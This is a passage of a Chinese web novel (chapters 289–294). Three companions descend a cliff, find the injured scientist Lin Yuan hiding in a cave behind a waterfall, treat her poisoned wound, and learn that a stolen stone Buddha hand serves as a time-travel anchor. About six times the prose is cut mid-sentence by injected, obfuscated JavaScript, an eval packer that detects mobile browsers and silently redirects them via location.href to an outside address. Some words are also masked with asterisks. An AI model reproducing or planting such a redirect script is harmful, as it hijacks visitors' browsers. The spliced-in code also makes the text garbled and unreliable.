前方的路,到头了。 他们面前,是一面巨大的、近乎垂直的岩壁,像一堵黑色的高墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889698|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,彻底断绝了去路。 姜敬意也赶了上来,看到这副景象,最后一丝力气仿佛都被抽干了,他靠着一棵树,绝望道:“完了……是死路。” “不是。”秦绵绵的目光,却死死锁在岩壁底部一处被藤蔓遮蔽的凹陷处。 她走上前,拨开那些湿冷的藤蔓。藤蔓之后,那个熟悉的“过眼钱”记号,赫然在目。 而记号下面,还有一个向下的箭头。 路,在下面。 “这……”姜敬意刚被抽干的力气又被另一种恐惧灌满,“这怎么下去?!” “滑下去。” 秦绵绵言简意赅,她从背包里解下绳索,熟练地在岩壁上一处凸起的石笋上固定好,将绳子抛了下去,绳索在黑暗中发出“嗖嗖”的声响,仿佛无穷无尽。 她没再多说,抓着绳索,第一个滑了下去,身影瞬间被黑暗吞没。 姚祁紧随其后,只对姜敬意递了个安抚的眼神,便也消失在坡口。 只剩下姜敬意一个人对着那黑洞洞的入口,头皮发麻。 他咬咬牙,心一横,也学着两人的样子抓着绳子往下溜。 通道比想象中更狭窄湿滑,岩壁上尽是些湿冷的苔藓和尖锐的石棱。 姜敬意一路上磕磕碰碰,就在快要到底的时候,脚下一滑,整个人的重量都失控地朝前甩去,侧腰狠狠撞在一块凸出的岩石上。 “呃!” 他闷哼一声,手一松,差点脱手。 一只手从下方伸来,稳稳地托住了他的后腰,将他下坠的势头止住。 是姚祁。 等姜敬意双脚终于踩到实地,腿肚子还在不停地打颤。 他还来不及喘匀气,一股巨大的轰鸣声就从前方扑面而来,震得他耳膜嗡嗡作响。 姚祁重新打开了那支幽绿色的荧光棒。 微光所及,他们正身处一条深邃的裂谷底部。 而在他们前方十几米处,一道巨大的瀑布正从看不见顶的悬崖上倾泻而下,砸进下方的深潭,激起漫天水雾,冰冷的水汽扑了三人满头满脸。 第289章 洞穴 “我的老天……”姜敬意看着这壮观又骇人的一幕,彻底没了声音。 通往瀑布后面的路,是旁边一条紧贴着崖壁、仅容一人通过的湿滑岩架。 岩架上长满了青苔,下面就是翻滚着白色水花的漆黑水潭。 秦绵绵已经率先踏了上去,她像一只灵巧的壁虎,贴着岩壁,几步就走到了岩架中间。 姜敬意看着她,又看了看自己脚下那不断被水花舔舐的窄路,脸色比刚才在崖壁上还白。 “四叔,别往下看。”秦绵绵在前面喊道,“踩稳了,一步一步来。” 姚祁拍了拍他的肩膀,示意他跟上。 姜敬意深吸一口气,几乎是把全身的重量都靠在冰冷的岩壁上,一点一点地往前挪。 他走在中间,秦绵绵在前,姚祁在后。 就在他快要走到对岸时,脚下一块被青苔覆盖的岩石,毫无征兆地松动了。 “啊——!” 姜敬意只来得及发出一声短促的惊叫,整个人便失去了平衡,直直地朝着下方的深渊坠去。 时间仿佛在这一刻被拉成了慢镜。 千钧一发之际,一直紧跟在他身后的姚祁,身体爆发出惊人的力量。 他猛地向前探身,左手闪电般抓住了姜敬意登山包的背带,将他下坠的身体硬生生拽住。 与此同时,他的右手抽出别在腰后的登山镐,“铛”的一声,死死楔进了身侧的岩缝里! 镐尖与岩石摩擦出刺耳的声响和一串火星。 两人就这么一上一下,悬在了激流之上,瀑布的水花疯狂地溅在他们身上,冰冷刺骨。 “抓紧我!”姚祁的声音从牙缝里挤出来,手臂上的青筋因为巨大的拉力而暴起。 对岸的秦绵绵脸色煞白,但她没有慌乱。她迅速将身上的绳索解下,一端在对岸的岩石上固定好,另一端用力甩了过来。 “四叔!抓住绳子!” 姜敬意几乎是魂飞魄散,凭着本能死死抓住了在眼前晃荡的绳索。 三人合力,姚祁在上,秦绵绵在下,终于将几乎脱力的姜敬意从深渊边缘给拖了上来。 他一到安全地带,就瘫坐在地上,浑身湿透,嘴唇发紫,大口大口地喘着粗气,半天说不出一句话来。 穿过那道巨大的水幕,眼前豁然开朗。 后面是一个巨大的天然山洞,洞内异常干燥,与外界的湿冷喧嚣仿佛是两个世界。 姚祁打开了强光手电,光束在洞穴里扫过,最后定格在洞穴深处。 那里,有一堆熄灭不久的火堆,灰烬用手一探,甚至还带着一丝残存的温热。 火堆旁边,散落着几个压缩饼干和能量棒的包装袋,还有一个空了的矿泉水瓶。 有人来过这里。 离开的时间并不长。 “她来过这里。”姜敬意喘着粗气,声音里混杂着死里逃生的后怕和找到线索的激动。他跌跌撞撞地冲到火堆旁,想伸手去摸那些灰烬,又被姚祁一把拉住。 “别碰,可能有东西。”姚祁将手电递给姜敬意,示意他照明,自己则蹲下身,从地上捡起一根干枯的树枝,小心翼翼地在灰烬里拨弄。 秦绵绵没有说话。 她的目光没有停留在那些显而易见的垃圾上,而是在整个洞穴里缓慢地扫视。 这个山洞比他们想象的要大,也更深。 手电光所能照亮的,不过是冰山一角。 更深处,是浓得化不开的幽暗,仿佛巨兽张开的喉咙。 她心里那种不安的感觉,非但没有因为找到踪迹而减弱,反而愈发强烈。 “找到了。”姚祁的声音将她的思绪拉了回来。 他用树枝从灰烬深处,拨出了一件小小的、黑乎乎的东西。 那东西被火烧得变了形,但借着手电的光,依然能分辨出大致的轮廓。 是一枚纽扣。 造型奇特,金属质地,即便被熏黑,表面上那些繁复的纹路依然隐约可见,显然不是凡品。 秦绵绵蹲下身,正要细看,旁边的姜敬意却猛地倒抽一口凉气,身体都晃了一下。 “是……是她的!”他声音发颤,几乎不成调,一把抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889699|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过姚祁手里的树枝,也顾不上烫,直接用手将那枚纽扣从灰里扒了出来。 他像是捧着什么绝世珍宝,哆哆嗦嗦地从怀里摸出手机。 手机屏幕在黑暗中亮起,照亮了他那张惨白又激动的脸。 他飞快地点开相册,翻出一张照片。 照片上的女人穿着一件裁剪利落的米色风衣,站在一片金色的胡杨林里,笑得灿烂又疏离。 她的风衣领口处,一枚造型一模一样的纽扣,在阳光下反射着冷峻的光。 就是它。 秦绵绵和姚祁对视一眼,都在对方眼里看到了确认。 确实是林鸢来过这里,而且就在不久之前。 “她为什么要躲到这种地方来……”姜敬意捧着那枚滚烫的纽扣,喃喃自语,脸上的狂喜迅速被更深的忧虑所取代,“她到底出什么事了?” 秦绵绵没有回答。 她站起身,重新打量着这片小小的宿营地。 林鸢在这里生火,吃东西,然后匆匆离开……等等。 她的视线,忽然定格在火堆旁几步远的一处岩壁下。 那里的地面,有几道不甚明显的划痕,像是被什么东西用力砸过。泥土上,还散落着几片指甲盖大小的、黑色的塑料碎片。 她走过去,蹲下身。 姚祁也察觉到了她的异样,将手电的光束跟了过来。 秦绵绵拾起其中最大的一块碎片,放在掌心。 碎片边缘锋利,断面不规则,显然是暴力破坏的结果。 而在碎片光滑的表面上,有一个用银色蚀刻上去的、由字母和翅膀组成的徽标。 这个徽标她并不认识,但她能感觉到,这绝不是普通电子产品的牌子。 这不是简单的丢弃。 秦绵绵脑中闪过刚才外面那两声枪响。 狙击手、被刻意引向歧途的路线、还有这里……被暴力销毁的物证。 林鸢知道有人在追她。 她宁愿在逃亡的路上,冒着暴露的风险,也要把这东西彻底毁掉,不让它落到任何人手里。 第290章 阿鸢 “她在销毁数据。”秦绵绵的声音很轻,在空旷的山洞里却异常清晰,她将手里的碎片递到姜敬意面前。 “四叔,你认识这个标记吗?” 姜敬意茫然地接过碎片,就着手电光看了半天,最终还是摇了摇头。 姚祁的眉头却紧紧皱了起来,他盯着那个徽标,沉吟了片刻,才缓缓开口:“西北……709研究所。” 姜敬意猛地抬头看他,满脸的不可置信:“你怎么知道?” “以前接触过。”姚祁的回答言简意赅,他看着秦绵绵,眼神里多了几分前所未有的凝重,“是国内最顶尖的生物基因实验室之一,保密级别非常高。” 西北。 姜敬意眼眸暗沉。 林鸢毕业后去的就是西北,一去就是二十年。 “这确实是她的东西,她被人追踪了,不得已销毁数据。”姜敬意最后做了论断。 就在三人被这个发现震得心神不宁时,洞口那道巨大的瀑布水幕,毫无征兆地被几道强光手电的光束刺穿! 光柱像几把锋利的光剑,在洞穴里蛮横地扫射,将三人躲闪的身影瞬间映在岩壁上。 有人追来了! 秦绵绵心头一跳,几乎是立刻判断出,林鸢一定就在这洞穴更深处,并且她很可能早就知道有人跟了上来。 “关灯!”她低喝一声,指着洞穴深处那唯一一个黑沉沉的通道,“走!” 姚祁和姜敬意反应极快,瞬间熄灭了手电。 三人借着外面透进来的微光,一头扎进了那条深邃的通道。 谁知,刚冲进去没两步,跑在最前面的姚祁脚下猛地一空—— “小心!” 他只来得及喊出两个字,头顶上方就传来一阵藤蔓摩擦的“簌簌”声,一张用粗壮藤蔓编织而成的大网从天而降,精准地将三人罩了个结结实实,然后猛地向上收紧,将他们吊离了地面。 一切发生在电光火石之间。 网收得极紧,三人被挤成一团,动弹不得。 一个身影,缓缓从通道更深处的黑暗里走了出来。 那是个女人,脸上蒙着黑色的布,只露出一双警惕又疲惫的眼睛。 她的左臂用布条简易地包扎着,暗红的血迹已经渗透出来,显得触目惊心。 但她握着枪的那只手,却十分稳定,黑洞洞的枪口直直地指着网中动弹不得的三人。 “谁派你们来的?”她的声音冰冷沙哑,带着一丝不易察觉的颤抖,“萧秀雅的人?” 三人一愣,都不知道“萧秀雅”是谁。 女人更走近了一些。 像是发现了什么,借着微弱的光线在他们脸上看。 就在女人因为辨认他们而出现一丝分神时,秦绵绵身体在狭窄的网中诡异地一荡,手腕翻转,一抹寒光从她的靴筒中滑出。 那是一柄极薄的短刃。 “嘶啦——” 坚韧的藤网应声而断。 秦绵绵整个人如同一只挣脱束缚的猎豹,悄无声息地落地,足尖一点,不带半点风声地直扑**的女人。 那女人显然没料到她能脱困,瞳孔一缩,下意识地想要扣动**。 可秦绵绵的速度更快。 两人瞬间交手。 秦绵绵只守不攻,女人的招式却凌厉直接。 她的招式带着军方格斗的影子,却缺少了真正的杀气和实战的狠辣。 秦绵绵的动作如行云流水,精妙地卸去对方的力道,一个错身,手腕一扣一转,便用擒拿手夺下了她的枪,反手将她制住。 整个过程不过几个呼吸。 “慢着!”姜敬意在网里急得满头大汗,眼看秦绵绵制住了那女人,他几乎是吼了出来:“阿鸢……风筝断了线,还有人在等!” 这句没头没尾的话,像一道惊雷,狠狠劈在被秦绵绵制住的女人身上。 她浑身剧震,紧绷得像弓弦一样的身体,在听到这句话的瞬间,彻底垮了。 眼中的警惕、狠戾、防备,在刹那间褪得干干净净,取而代之的,是汹涌而出的、几乎能将人淹没的难以置信。 紧绷的神经一旦松懈,积攒了不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“山下那些人的目标原来是你。”姚祁接口道,一句话就将所有的线索串联了起来,“我们只是顺带的倒霉蛋。” 第291章 灯下黑 林鸢扯了扯嘴角,露出一抹自嘲的笑意,算是默认了。 她设下陷阱,本来是想拖延时间,没想到网住的会是他们。 秦绵绵用生理盐水清洗着伤口,当棉签触碰到那片青紫时,她的脸色倏然一变。 “等等。”她低声说,凑近了仔细观察,甚至用银针轻轻刮了下伤口边缘的组织。 一股极淡的、带着金属腥气的味道飘散出来。 秦绵绵的瞳孔微微一缩,她抬头看向姚祁和姜敬意:“**上有东西,是一种神经性毒素,量很小,但再不处理,她这条胳膊就废了。” 姜敬意脸色一变,眼底几乎要喷出火来:“必须马上下山!” 其他人也是这个意思。 可洞口外,追兵随时有可能闯进来。 此刻最重要的就是躲开追踪。 “走,”秦绵绵当机立断,“往里走,找地方躲起来,等他们彻底离开再出去。” 洞穴深处,比入口处更加狭窄。 几人只能勉强找到一处凹进去的石壁缝隙,暂时藏身。 空间逼仄,几乎是人贴着人。林鸢被秦绵绵和姚祁夹在中间,姜敬意只能挨着姚祁的另一边。 毒素的发作比想象中更快,林鸢的呼吸开始变得急促,额头上渗出细密的冷汗,那张明媚动人的脸庞,此刻苍白得像一张透明的纸。 即便如此,那份刻在骨子里的美,依旧没有半分折损,反而因为这份脆弱,平添了几分让人心头发紧的破碎感。 秦绵绵能清晰地感觉到,靠着自己的这具身体,正在微微发着抖,体温也开始不正常地升高。 她没来由地生出一股亲近感,下意识地伸手,握住了林鸢冰凉的手。 林鸢像是从这突如其来的暖意中得到了一丝慰藉,紧绷的身体略微放松了些,整个人更加无力地朝她靠了过来。 姜敬意看着这一幕,几次想开口说“让我来”,可看着林鸢那明显抗拒的姿态,话到嘴边又咽了回去,心里像是被猫爪子挠过一样,又急又不是滋味。 就在这时,洞穴深处传来一阵细微的“滴答”声,像是某种计时装置。 林鸢的脸上露出一丝疲态:“我设了点小玩意儿,应该能迷惑他们一阵子。他们会以为我从另一条水道跑了。” 她的话音刚落,洞穴最深处,就传来“噗通”一声重物落水的闷响,紧接着是一连串的水花声,仿佛真的有人跳进了暗河,正在奋力逃离。 洞口那些晃动的手电光柱果然迟疑了一下,随即迅速朝着水声传来的方向追了过去,很快消失不见。 危机暂时解除。 “得走了。”姚祁的声音压过了水声,他看了一眼靠在秦绵绵身上、呼吸愈发急促的林鸢,“她拖不起了。” 秦绵绵点头,伸手将林鸢从地上扶起。 “我来。”姜敬意立刻上前,伸手要去接林鸢的另一只胳膊。 他的指尖尚未触碰到林鸢的衣袖,原本已经虚弱到几乎无法站立的女人,身体却倏地一僵,像是被针扎了似的,下意识地朝秦绵绵的方向又靠了靠,将整个身体的重量都交给了她,完美地避开了姜敬意的搀扶。 姜敬意的手,就那么僵在了半空中,进也不是,退也不是,脸上的血色褪得一干二净。 秦绵绵没看他,她能清晰地感觉到林鸢身体滚烫的温度和无法抑制的细微颤抖。 那份从初见时就没来由的亲近感,此刻变得更加具体,像是一种本能的怜惜。 她揽着林鸢的肩膀,低声道:“靠着我。” 林鸢似乎已经陷入了半昏迷,闻言只是无意识地嗯了一声,那张在尘土和汗水中依旧美得惊心动魄的脸,此刻因为毒素的作用,泛着一层病态的潮红,反而比盛放时更添了几分夺人心魄的破碎感。 回去的路,比来时艰险百倍。 夜色深沉,古道难行,再加上一个半昏迷的伤员,三人的速度慢到了极致。 再次回到那处断崖,姚祁没有多话,沉默地检查了之前留下的绳索,确认稳固后,自己先荡了过去,在对岸接应。 秦绵绵和姜敬意一左一右,几乎是将林鸢半抱着、半拖着,才把她弄到了崖边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894330|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我背她过去。”姚祁在对岸喊道。 这无疑是眼下最快也最稳妥的办法。 姜敬意咬着牙,和秦绵绵一起,费了九牛二虎之力,才将昏迷的林鸢固定在姚祁的背上。 看着姚祁背着林鸢消失在对岸的黑暗里,姜敬意的心里忽然像是被塞进了一块浸满苦水的石头,沉得他几乎喘不过气。 等他自己手脚并用地爬过断崖,整个人已经虚脱,靠着树干,连话都说不出来。 天边,已经泛起了一丝鱼肚白。 就在他们深一脚浅一脚地跋涉,终于能看到山脚下星星点点的灯火时,秦绵绵口袋里的手机,极轻地振动了一下。 她摸出来一看,是朱七妹发来的微信,只有短短一行字。 “张队他们刚回房,就在大厅说要加派人手,对客栈周边加强巡查,今晚别回来!” 秦绵绵的脚步猛地顿住。 姚祁和姜敬意也停了下来,看向她。 “我们不能回去了。”秦绵绵将手机屏幕给他们看,“客栈门口现在就是个筛子。” 姜敬意扶着树,看着山下那片熟悉的灯火。 “但阿鸢她……” 他的话没说完,但所有人都明白。林鸢的伤,等不了。 三人的目光,都落在了那片微弱的灯火上。 除了他们的客栈,还有哪里能去? 秦绵绵的视线,缓缓越过街道,落在了自家客栈对面,那家灯火通明,看起来生意甚至更好的“吉祥客栈”上。 “去对面。”她开口,语气平静,却不容置喙。 “什么?”姜敬意一愣,“你疯了?警察就住在咱们客栈里!” “最危险的地方,就是最安全的地方。”秦绵绵的目光在黑暗中亮得惊人,“他们做梦也想不到,我们会躲到他们的眼皮子底下去。更不知道吉祥客栈的老板娘是姜芙,我姐姐。” 姚祁却已经明白了她的意图,他看了看秦绵绵,嘴角勾起一抹赞许的弧度:“灯下黑,好计策。我联系姜芙,让她派人把后门打开。” 第292章 你想穿越时空? 十分钟后,三道黑影,借着夜色最后的掩护,如同鬼魅一般,悄无声息地穿过空无一人的街道,闪进了吉祥客栈那扇虚掩着的后门里。 门在他们身后轻轻合上,隔绝了外界所有的喧嚣和危险。 姜芙委派的人早已等在里面,看到被架进来的林鸢,什么都没问,迅速领着他们上了二楼最里间的一间客房。 房门落锁。 姜敬意手忙脚乱地将林鸢安放在柔软的大床上,回头刚想说“快找医生”,却见秦绵绵已经将自己的登山包放在了桌上,拉开拉链。 她拿出来的,不是零食,也不是水,而是一个用帆布卷好的工具包。 帆布展开,一排大小不一、闪着森冷寒光的手术刀、镊子、止血钳,整整齐齐地躺在上面。 姜敬意呼吸一滞,看向姚祁:“你准备的东西里还有这些?” 姚祁只是淡淡道:“我感觉她会用。” 秦绵绵没多说什么,戴上医用手套,拿起一把手术刀,眼神瞬间变得专注而冷静,像换了一个人。 “毒素已经开始扩散了。”她的声音平稳得没有一丝波澜,“我要立刻把她伤口里的腐肉和可能存在的弹片取出来。姚祁,你帮我照明。四叔,按住她的腿,别让她乱动。” 橘黄色的灯光下,秦绵绵手里的手术刀很稳。 冰冷的刀锋划开伤口边缘发黑的皮肉,林鸢在昏迷中发出一声痛苦的闷哼,身体剧烈地挣扎了一下。 “按住她!”秦绵绵头也不抬。 姜敬意如梦初醒,连忙用尽全身力气压住林鸢不住踢蹬的双腿。 他看着那明晃晃的刀尖在林鸢皮肉里翻搅,每一下都像是割在他自己心上,他脸上血色尽失,额角的青筋一突一突地跳。 姚祁举着手电,光束精准地落在伤口上,他盯着秦绵绵专注的侧脸,看着她用镊子从血肉模糊的伤口里,夹出一块嵌在肌肉里、已经变形的弹头碎片。 整个过程,秦绵绵没说一句废话,动作干净利落,仿佛做过千百遍。 直到最后一针缝合线打好结,她才长长地舒了一口气,额头上也已沁出了一层薄汗。 她摘掉沾满血污的手套,扔进垃圾桶,声音里带着一丝疲惫: “毒素清得差不多了,但她失血太多,加上一路奔波,能不能尽快醒过来,看她自己了。” 姜敬意松开手,目光却一直没有离开过床上那个昏睡不醒的女人。 林鸢再次醒来,已经是第二天的黄昏。 窗外夕阳的余晖透过窗帘缝隙,在房间里投下一道狭长的光带。 她动了动,左臂传来一阵撕裂般的剧痛,让她倒抽一口凉气。 “醒了?” 一个清冷的声音在床边响起。 林鸢偏过头,看见秦绵绵正坐在床边的椅子上,手里拿着一块湿毛巾,似乎刚帮她擦过脸。 “感觉怎么样?”秦绵绵问。 林鸢的嘴唇干裂,她舔了舔,声音沙哑:“死不了。” 她的视线在房间里扫了一圈,看到另外两个人坐在远处,见她醒来都朝她望过来。 “追我的人,是萧玦派来的。”林鸢没等秦绵绵他们问,就主动开了口,“还有她。” “她?” “就是罗正松的前妻,我师妹。”林鸢扯了下嘴角,笑容里全是讥诮,“她也姓萧,叫萧秀雅。是萧玦的远房姑姑。他们早就是一伙的。” 这个消息,让秦绵绵他们更确定了他们之前的猜想。 当时罗母拿下萧玦,根本就是一出自导自演的好戏,只是当时他们没看出来而已。 “他们想要什么?”秦绵绵问。 “我研究出来的东西。”林鸢的目光落在床头柜上那个被她用命护着的黑色箱子上,“一套完整的‘锚点’定位技术。有了它,时空穿梭会变得更精准、可控。萧秀雅想独吞这个项目,把所有人都踢出局。” “那萧玦呢?”秦绵绵追问,“他既然恨我入骨,为什么在后山只是把我们赶走,对你也手下留情?” 林鸢沉默了片刻,眼神变得复杂:“我不知道。他的行为很奇怪,不像寻仇,更像是在找别的什么东西。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894331|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间里陷入了沉默。 秦绵绵站起身,走到窗边,小心地拉开一条缝隙。 街对面,自家客栈门口,张队长正和一名年轻警察靠着警车抽烟,目光时不时地扫过她们所在的吉祥客栈。 “你们……”林鸢的声音从身后传来,带着一丝迟疑,“是怎么找到我的?” “是四叔。”秦绵绵转过身,看着她,“他一直在找你,从京城追踪到这里的。” 姜敬意没说话,出去了一趟,再回来的时候,端着一碗刚熬好的粥。 当他的视线和林鸢的对上时,那股子她醒来的喜悦迅速冷却下去,变得有些手足无措。 他把粥碗放在床头柜上,清了清嗓子,努力让自己的语气听起来和平时一样洒脱:“醒了就好,先喝点东西垫垫。你这回可真是……把我们折腾得够呛。” 他简单说了自己如何从她盗走佛头的消息里嗅出一丝不寻常,如何一路追查,如何在警察之前找到她。 林鸢安静地听着,脸上没什么表情,只是在听到“佛头”两个字时,眼睫微微颤了颤。 “我来这里,不是为了抓你,也不是为了那尊佛头。”姜敬意看着她,终于说出了最终的目的,他指了指秦绵绵,“是因为她,要去一个地方,找一个人。” 林鸢的瞳孔猛地一缩。 她瞬间明白了。 “你……想穿越时空?” 秦绵绵似乎想到了什么,微微一笑,点了点头。 姜敬意稍微补充了一下关于裴应见的事情,具体的没多说,但已经足够林鸢震惊了。 “原来如此……”许久,林鸢才从震惊中缓过神来,喃喃道,“我明白了。” 林鸢的目光在秦绵绵脸上短暂停留,那眼神复杂,像是感慨,又像是怜悯,最后都化成了一声极轻的叹息。 “我早就该想到的,”她自嘲地笑了笑,牵动了嘴角的伤口,嘶地抽了口凉气,“萧秀雅那个疯子,能让她不惜一切代价的,必然很重要。她想要的是你和那位裴先生,她想把你们当做实验对象。” 第293章 佛手 “你们是天然的活体样本。她想知道,为什么你们可以,而别人不行。” “她疯了。”姜敬意从牙缝里挤出三个字。 片刻后,才终于又把萧秀雅为了实验,害**自己亲生儿子罗小胖的事也告诉了她。 “并且我们这次能顺利上山,跟罗小胖留下的符号有很大关系。”秦绵绵道。 林鸢讶然:“原来那些符号,是他留下的?” 秦绵绵点点头。 至于罗小胖是什么时候去的,去那里做什么,都发现了什么。 这就没有人知道了。 他也已经**,这些秘密,不知道还会不会有真相大白的一天。 林鸢哀叹一阵,眼神里却流露出一丝狂热的激动,那份激动甚至压过了她身体的剧痛和疲惫。 一想到已经有人从古代穿越时空来到了现代,她就激动地不能自已。 她挣扎着想坐起来,被秦绵绵一把按住。 “别动。” “抱歉,我太激动了……或许你们根本不知道,一个活生生的、来自过去的人,对我们的研究意味着什么!那不是样本,那是……那是圣杯!”她呼吸急促,苍白的脸上泛起病态的潮红,“是打开一切的钥匙!” 她不顾秦绵绵的阻拦,执意地伸手,指向床头柜上那个沾满泥水的黑色箱子。 那个她用命护着的箱子。 “把它拿过来。” 秦绵绵将箱子取了过来,放在床上。 箱子很沉,材质特殊,上面没有任何商标,只有一个冰冷的卡扣。 林鸢用没受伤的那只手,颤抖着在箱子侧面一个不起眼的凹槽里按了一下,随着“咔哒”一声轻响,箱子应声弹开。 里面没有金银珠宝,也没有什么高科技仪器。只有一块被白色防震泡沫包裹得严严实实的东西。 林鸢小心翼翼地揭开泡沫。 一截石头雕刻的手掌,静静地躺在其中。 那只佛手,不知是用何种石料雕成,质地温润,在昏黄的灯光下,呈现出一种近乎于玉的质感。 它的线条流畅而优美,一眼瞧去便美得惊心动魄,让人移不开眼睛。 佛手手指微屈,结着一个禅定印,每一个指节,每一道掌纹,都雕刻得栩栩如生,仿佛不是死物,而是蕴含着某种生命力。 姜敬意看到它的瞬间,瞳孔就是一缩,下意识地凑近了些,那股子鉴宝的职业本能压过了所有情绪。 “这……” “这就是我的‘锚点’。”林鸢的声音里带着难以抑制的骄傲,“京城博物馆那场国宝展,不过是萧秀雅的团队为了掩人耳目,方便把这东西运出来研究而设下的一个局。是我把它截胡了。” “就为了这么个……石头?”姜敬意百思不得其解,“它有什么特殊的?” “它本身只是普通的石头。”林鸢的目光痴迷地在那只佛手上流连,“但雕刻它的地方,埋藏它的位置,经过上千年的地气蕴养,让它和某一个特定的时空,产生了我们无法理解的共鸣。” 她顿了顿,看向秦绵绵,一字一句道: “这是通往那位裴先生的那个时代的‘钥匙’之一。但它不完整,只是一个部件,还有一个主体部分流落在外。没有主体,仅凭这个佛手,我们就像是知道藏宝图的其中一角,却永远无法精确定位到宝藏的具体坐标。” 主体部分……佛头…… 秦绵绵的脑子里像是有什么东西轰然炸开。 她瞬间联想到了周大爷口中那个关于后山石窟的传说,联想到了赵立生提过的那桩悬了多年的佛头被盗案。 “海城……青塔湖,后山石窟……”她喃喃出声。 姚祁反应极快,立刻掏出手机,飞快地输入了这几个关键词。 一条几十年前的旧新闻,很快就跳了出来: 《青塔湖后山千年大佛佛头深夜被盗,至今下落不明》。 新闻配图是一张模糊的黑白照片。 一尊依山而建的巨大坐佛,静静地矗立在荒草丛中。 照片上,石窟里的大佛宝相庄严,虽经岁月侵蚀,依然气势恢宏。 佛头与佛身完整一体,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15905179|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那右手结出的禅定印,每一个指节的弧度,手掌的轮廓,都与箱中那截石雕别无二致。 就是它。 姚祁手指在屏幕上划动,很快又找到一篇当年的后续报道,详细描述了大佛被盗的过程: 盗贼手法极其专业,计划周密。 先是盗走了佛头,时隔几年,又有人如法炮制,盗走了结印的右手。 佛身则孤零零地留在了原地,仿佛一尊沉默的见证者。 林鸢看到那张完整的佛像照片,眼中迸射出一种近乎狂热的光芒,那光芒甚至压过了她身上的伤痛。 “不是一个锚点,”她呼吸急促,声音里带着压抑不住的激动,“是双重道标!佛头和佛手,必须合二为一,才能构成一个完整的、稳定的时空道标!” 她猛地抬头看向秦绵绵,眼神前所未有的严肃: “要想打开稳定的通道让你过去找人,并且还能让你回来,就必须找到那尊佛头,让它们在石窟的原址上,重新合璧。” 一个失踪了几十年的佛头,去哪里找。 姜敬意脸上的血色刚刚恢复一点,又沉了下去。 这种国宝级的失窃案,背后牵扯的势力和水深,远非他们几个人能想象的。 这比大海捞针还要难上百倍。 秦绵绵的脑中却灵光一闪。 罗小胖那本被他翻得起了毛边的《安陵县志》。 县志里那些用红笔画下的、看似杂乱无章的记号。 她忽然意识到,罗小胖调查的,可能根本不是什么地方古迹,也不是为了探险。 他一直在寻找的,可能就是这尊佛头的下落。 “我们去找佛头。”秦绵绵看向众人,语气平静却坚定。 这个决定,没人反对。 秦绵绵立刻独自走到阳台,拨通了钱老先生的电话。 电话只响了一声就被接起。 “喂?”钱老先生的声音一如既往地沉稳。 秦绵绵没有绕圈子:“钱老,我想请您帮我找一样东西,青塔湖后山石窟失窃的那尊佛头。” 第294章 麻烦来了 电话那头似乎很惊讶,沉默了片刻。 “怎么想到要找它的?此物牵扯甚广,”钱老先生的声音沉重了几分,带着一种洞悉一切的郑重,“一旦入局,再无退路。丫头,你确定吗?” “我确定。”秦绵绵的回答没有丝毫犹豫。 “好。”钱老先生只说了一个字,便挂了电话。 秦绵绵收起手机,转身回到房间。 